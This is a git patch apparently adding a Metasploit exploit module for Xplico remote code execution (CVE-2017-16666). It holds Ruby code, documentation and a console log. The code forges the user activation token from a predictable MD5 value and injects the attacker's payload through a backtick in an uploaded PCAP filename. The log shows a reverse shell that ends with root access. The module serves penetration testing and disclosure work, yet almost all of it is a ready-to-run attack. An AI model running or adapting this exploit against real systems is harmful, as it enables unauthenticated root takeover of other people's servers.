From 86e47589b073967cf409eec16fb4b48bffc57733 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Tue, 14 Nov 2017 09:30:57 +0300 Subject: [PATCH] Add xplico remote code execution --- data/exploits/CVE-2017-16666/dump.pcap | Bin 0 -> 1189 bytes .../modules/exploit/linux/http/xplico_exec.md | 86 +++++ modules/exploits/linux/http/xplico_exec.rb | 358 ++++++++++++++++++ 3 files changed, 444 insertions(+) create mode 100644 data/exploits/CVE-2017-16666/dump.pcap create mode 100644 documentation/modules/exploit/linux/http/xplico_exec.md create mode 100644 modules/exploits/linux/http/xplico_exec.rb diff --git a/data/exploits/CVE-2017-16666/dump.pcap b/data/exploits/CVE-2017-16666/dump.pcap new file mode 100644 index 0000000000000000000000000000000000000000..b155fc4b2039e7170c4c5a76afd5c419d7a3df4f GIT binary patch literal 1189 zcmaKrzi-n}5XYZW1I3c1lnFYZr%okJ?AXL|VnqDN)tBv7i4I;=f-L(T%UE4eb4&%`@K7V|N40^f_QWh zJmTQt+Tq}NEX$+EaL;l)CQ%-t?C>aua@WnnHwbYo4|Y(oKi|8<-rSA!dZ$T*BK+A8 zJ~AnM(+V|K=O!j@FtQ#>Mu?HKUwkqu9_*0)++Uzi@80^K%;-Kj2joZaC6?piX-*A) zdzz1Z@<{VE&`-9b+}i0ZXynfIGAh%$2E_M(VmTfj@$K-~BfbkH-Uj09%f!We3Cm4V zZxSleO^TOFrJ}4ziYP3#TxwuN)ukj{PW~1J5XGLet6_yJ~5bN+v~S{Dvl;T276) z1}<+=;)=q2%c0Qx#4>Sev<{<5U(`xlZIDmNCY9S8R>NU)C=-|Bx@Es49ZW#CL?@IOjeFbk!6%+?kJ*Rqaki&| Xf0}M6arnp6_|qqjTsz=;5ajwFhovBn literal 0 HcmV?d00001 diff --git a/documentation/modules/exploit/linux/http/xplico_exec.md b/documentation/modules/exploit/linux/http/xplico_exec.md new file mode 100644 index 0000000000..21a4dfac1e --- /dev/null +++ b/documentation/modules/exploit/linux/http/xplico_exec.md @@ -0,0 +1,86 @@ +## Vulnerable Application +This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal command under the context of the root user. + +The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet +traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create + a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try +to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation. +But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage. + +One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum +of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation. + +**Vulnerable Application Installation Steps** + +Follow instruction from "from sourceforge" section at following URL. Don't forget install version 1.2.0 instead of 1.0.0. At the time of this writing, installation commands contains command for version 1.0.0 + +[http://wiki.xplico.org/doku.php?id=ubuntu](http://wiki.xplico.org/doku.php?id=ubuntu) + +You may also give a try to virtualbox image provided by maintainer of Xplico. +[https://sourceforge.net/projects/xplico/files/VirtualBox%20images/](https://sourceforge.net/projects/xplico/files/VirtualBox%20images/) + +## Verification Steps + +A successful check of the exploit will look like this: + +- [ ] Start `msfconsole` +- [ ] `use exploit/linux/http/securityonion_xplico_exec` +- [ ] Set `RHOST` +- [ ] Set `PAYLOAD cmd/unix/reverse_awk` +- [ ] Set `LHOST` +- [ ] Run `exploit` +- [ ] **Verify** that you are seeing `New user successfully registered` in console. +- [ ] **Verify** that you are seeing `User successfully activated` in console. +- [ ] **Verify** that you are seeing `Successfully authenticated` in console. +- [ ] **Verify** that you are seeing `New Case successfully creted` in console. +- [ ] **Verify** that you are seeing `New Sols successfully creted` in console. +- [ ] **Verify** that you are seeing `PCAP successfully uploaded. Pcap parser is going to start on server side` in console. +- [ ] **Verify** that you are getting `We are at PCAP decoding phase. Little bit more patience...` in console. +- [ ] **Verify** that you have your root shell. + +## Scenarios + +``` +msf > use exploit/linux/http/securityonion_xplico_exec +msf exploit(securityonion_xplico_exec) > set RHOST 12.0.0.30 +RHOST => 12.0.0.30 +msf exploit(securityonion_xplico_exec) > +msf exploit(securityonion_xplico_exec) > exploit + +[-] Exploit failed: A payload has not been selected. +[*] Exploit completed, but no session was created. +msf exploit(securityonion_xplico_exec) > set payload cmd/unix/ +set payload cmd/unix/generic set payload cmd/unix/reverse_netcat +set payload cmd/unix/reverse_awk +msf exploit(securityonion_xplico_exec) > set payload cmd/unix/reverse_awk +payload => cmd/unix/reverse_awk +msf exploit(securityonion_xplico_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf exploit(securityonion_xplico_exec) > exploit + +[*] Started reverse TCP handler on 12.0.0.1:4444 +[*] Initiating new session on server side +[*] Registering a new user +[+] New user successfully registered +[*] Username: mwbvnyowr +[*] Password: gHPkAvCTXFDVcfTwaAmfoJUoMNHNDIDT +[*] Calculating em_key code of the user +[*] Activating user with em_key = 159d4af63472e2a47e3f3c5c11205a5e +[+] User successfully activated +[*] Authenticating with our activated new user +[+] Successfully authenticated +[*] Creating new case +[+] New Case successfully creted. Our pol_id = 36 +[*] Creating new xplico session for pcap +[+] New Sols successfully creted. Our sol_id = 54 +[*] Uploading malformed PCAP file +[+] PCAP successfully uploaded. Pcap parser is going to start on server side. +[*] Parsing has started. Wait for parser to get the job done... +[+] We are at PCAP decoding phase. Little bit more patience... +[+] We are at PCAP decoding phase. Little bit more patience... +[+] We are at PCAP decoding phase. Little bit more patience... +[*] Command shell session 1 opened (12.0.0.1:4444 -> 12.0.0.30:39782) at 2017-11-08 14:44:52 +0300 + +id +uid=0(root) gid=0(root) groups=0(root) +``` \ No newline at end of file diff --git a/modules/exploits/linux/http/xplico_exec.rb b/modules/exploits/linux/http/xplico_exec.rb new file mode 100644 index 0000000000..ad1590cfb6 --- /dev/null +++ b/modules/exploits/linux/http/xplico_exec.rb @@ -0,0 +1,358 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Xplico Remote Code Execution', + 'Description' => %q{ + This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal + command under the context of the root user. + + The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet + traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create + a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try + to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation. + But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage. + + One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum + of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mehmet Ince ' # author & msf module + ], + 'References' => + [ + ['CVE', '2017-16666'], + ['URL', 'https://pentest.blog/advisory-xplico-unauthenticated-remote-code-execution-cve-2017-16666/'], + ['URL', 'https://www.xplico.org/archives/1538'] + ], + 'Privileged' => true, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'DefaultOptions' => + { + 'RPORT' => 9876 + }, + 'Payload' => + { + 'Space' => 252, + 'DisableNops' => true, + 'BadChars' => "\x2f\x22", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic netcat gawk', # rest of them can't fit within 252 space due to badchars. + 'ConnectionType' => '-bind' # iptables block incoming connections to everything. + }, + }, + 'Targets' => [ ['Automatic', {}] ], + 'DisclosureDate' => 'Oct 29 2017', + 'DefaultTarget' => 0 + )) + + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'users', 'register'), + ) + if res && res.code == 302 + Exploit::CheckCode::Safe + else + Exploit::CheckCode::Vulnerable + end + end + + def initiate_session + print_status('Initiating new session on server side') + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + ) + if res && res.code == 200 + res.get_cookies + else + nil + end + + end + + def register_user(username, password) + # First thing first, we need to get csrf token from registration form. + print_status('Registering a new user') + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'users', 'register'), + 'cookie' => @cookie + ) + + if res && res.code == 200 + csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil + fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil + end + + if csrf_token.nil? || fields.nil? + fail_with(Failure::Unknown, 'Unable to extact hidden fields from registration form.') + end + + # rand_mail_address sometimes generates buggy email address for this app. So we manually generate email address in here. + email = '' + email << rand_text_alpha_lower(rand(10)+4) + email << '@' + email << rand_text_alpha_lower(rand(10)+4) + email << '.' + email << rand_text_alpha_lower(rand(1)+2) + + # Create user + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'users', 'register'), + 'cookie' => @cookie, + 'vars_post' => { + '_method' => 'POST', + 'data[_Token][key]' => csrf_token, + 'data[User][email]' => email, + 'data[User][username]' => username, + 'data[User][password]' => password, + 'data[_Token][fields]' => fields, + 'data[_Token][unlocked]' => '', + } + ) + + if res && res.code == 302 + print_good('New user successfully registered') + print_status("Username: #{username}") + print_status("Password: #{password}") + else + fail_with(Failure::Unknown, 'Could not register new user') + end + + # Awesome. We have user. We need to activate it manually..! + print_status('Calculating em_key code of the user') + + unixtime = Time.parse(res.headers['Date']).to_i + password_md5 = Rex::Text.md5(password) + em_key = Rex::Text.md5( + "#{email}#{password_md5}#{unixtime}" + ) + print_status("Activating user with em_key = #{em_key}") + + # We need to follow redirections. Even if we managed to find em_key. + # It will redirect us to the login form. We need to see registration completed on final page. + res = send_request_cgi!( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'users', 'registerConfirm', em_key), + 'cookie' => @cookie + ) + + if res && res.code == 200 && res.body.include?('Registration Completed.') + print_good('User successfully activated') + else + fail_with(Failure::Unknown, 'Could not activated our user.') + end + end + + def login(username, password) + # yet another csrf token gathering. + print_status('Authenticating with our activated new user') + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'users', 'login'), + 'cookie' => @cookie + ) + + if res && res.code == 200 + csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil + fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil + end + + if csrf_token.nil? || fields.nil? + fail_with(Failure::Unknown, 'Unable to extact hidden fields from login form.') + end + + res = send_request_cgi!( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'users', 'login'), + 'cookie' => @cookie, + 'vars_post' => { + '_method' => 'POST', + 'data[_Token][key]' => csrf_token, + 'data[User][username]' => username, + 'data[User][password]' => password, + 'data[_Token][fields]' => fields, + 'data[_Token][unlocked]' => '', + } + ) + + if res && res.body.include?('Cases') + print_good('Successfully authenticated') + else + fail_with(Failure::Unknown, 'Unable to login.') + end + + end + + def create_new_case + # We logged in. Not we need to create a new xplico case. + print_status('Creating new case') + pol_name = rand_text_alpha_lower(rand(4)+8) + res = send_request_cgi!( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'pols', 'add'), + 'cookie' => @cookie, + 'vars_post' => { + '_method' => 'POST', + 'data[Capture][Type]' => 0, + 'data[Pol][name]' => pol_name, + 'data[Pol][external_ref]' => '', + } + ) + + if res && res.body.include?('The Case has been created') + res.body.scan(//).flatten[0] + else + nil + end + end + + def create_new_sol(pol_id) + # Since we xplico case, it's time to create a "session" for this case. + print_status('Creating new xplico session for pcap') + + sol_name = rand_text_alpha_lower(rand(4)+8) + # sols/add endpoint reads selected case id through session. + # So we need to hit that end-point so we can insert pol_id into the current session data. + send_request_cgi!( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'pols', 'view', pol_id), + 'cookie' => @cookie, + ) + + # Creating new session. + res = send_request_cgi!( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'sols', 'add'), + 'cookie' => @cookie, + 'vars_post' => { + '_method' => 'POST', + 'data[Sol][name]' => sol_name, + } + ) + + if res && res.body.include?('The Session has been created') + res.body.scan(//).flatten[0] + else + nil + end + + end + + def upload_pcap(sol_id) + print_status('Uploading malformed PCAP file') + # We are hitting this end-point so we can access sol_id through session on server-side. + send_request_cgi!( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id), + 'cookie' => @cookie, + ) + + # Reading malformed pcap files. + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-16666', 'dump.pcap') + fd = ::File.open( path, 'rb') + pcap = fd.read(fd.stat.size) + fd.close + + data = Rex::MIME::Message.new + data.add_part('POST', nil, nil, 'form-data; name="_method"') + data.add_part(pcap, 'application/octet-stream', nil, "form-data; name=\"data[Sols][File]\"; filename=\"`#{payload.encoded})`\"") # Yes back-tick injection! + + # Uploading PCAP file. + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'sols', 'pcap'), + 'cookie' => @cookie, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + ) + + if res && res.code == 302 + print_good('PCAP successfully uploaded. Pcap parser is going to start on server side.') + end + + # We can not wait all the day long to have session. + # So we are checking status of decoding process 5 times with sleep for a 1 second on each loop. + is_job_done = nil + counter = 0 + until session_created? || !is_job_done.nil? || counter == 5 + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id), + 'cookie' => @cookie, + ) + if res && res.body.include?('File uploaded, wait start decoding...') + print_status('Parsing has started. Wait for parser to get the job done...') + end + if res && res.body.include?('DECODING') + print_good('We are at PCAP decoding phase. Little bit more patience...') + end + # Tbh decoding process is not going to be finished as long as we have msf session. + # We are not going to see this case if we are successful exploiting. + if res && res.body.include?('DECODING COMPLETED') + print_warning('PCAP parsing process has finished. Haven\'t you got your shell ?') + is_job_done = 1 + next + end + sleep(1) + counter += 1 + end + + end + + def exploit + + if check == Exploit::CheckCode::Safe + fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable") + end + + # We need to access cookie from everywhere. Thus making it global variable. + @cookie = initiate_session + if @cookie.nil? + fail_with(Failure::Unknown, 'Unable to initiate new sessionid on server.') + end + + # We only need to access username and password for login func. Let's leave them as a local variables. + password = rand_text_alpha(32) + username = rand_text_alpha_lower(rand(8)+8) + register_user(username, password) + login(username, password) + + # We will need to have pol_id for creating new xplico session. + pol_id = create_new_case + if pol_id.nil? + fail_with(Failure::Unknown, 'Unable to create New Case.') + end + print_good("New Case successfully creted. Our pol_id = #{pol_id}") + + # Create xplico session by using pol_id + sol_id = create_new_sol(pol_id) + if sol_id.nil? + fail_with(Failure::Unknown, 'Unable to create New Sol.') + end + print_good("New Sols successfully creted. Our sol_id = #{sol_id}") + + # Uploading malformed PCAP file. We are exploiting authenticated cmd inj in here. + upload_pcap(sol_id) + + end +end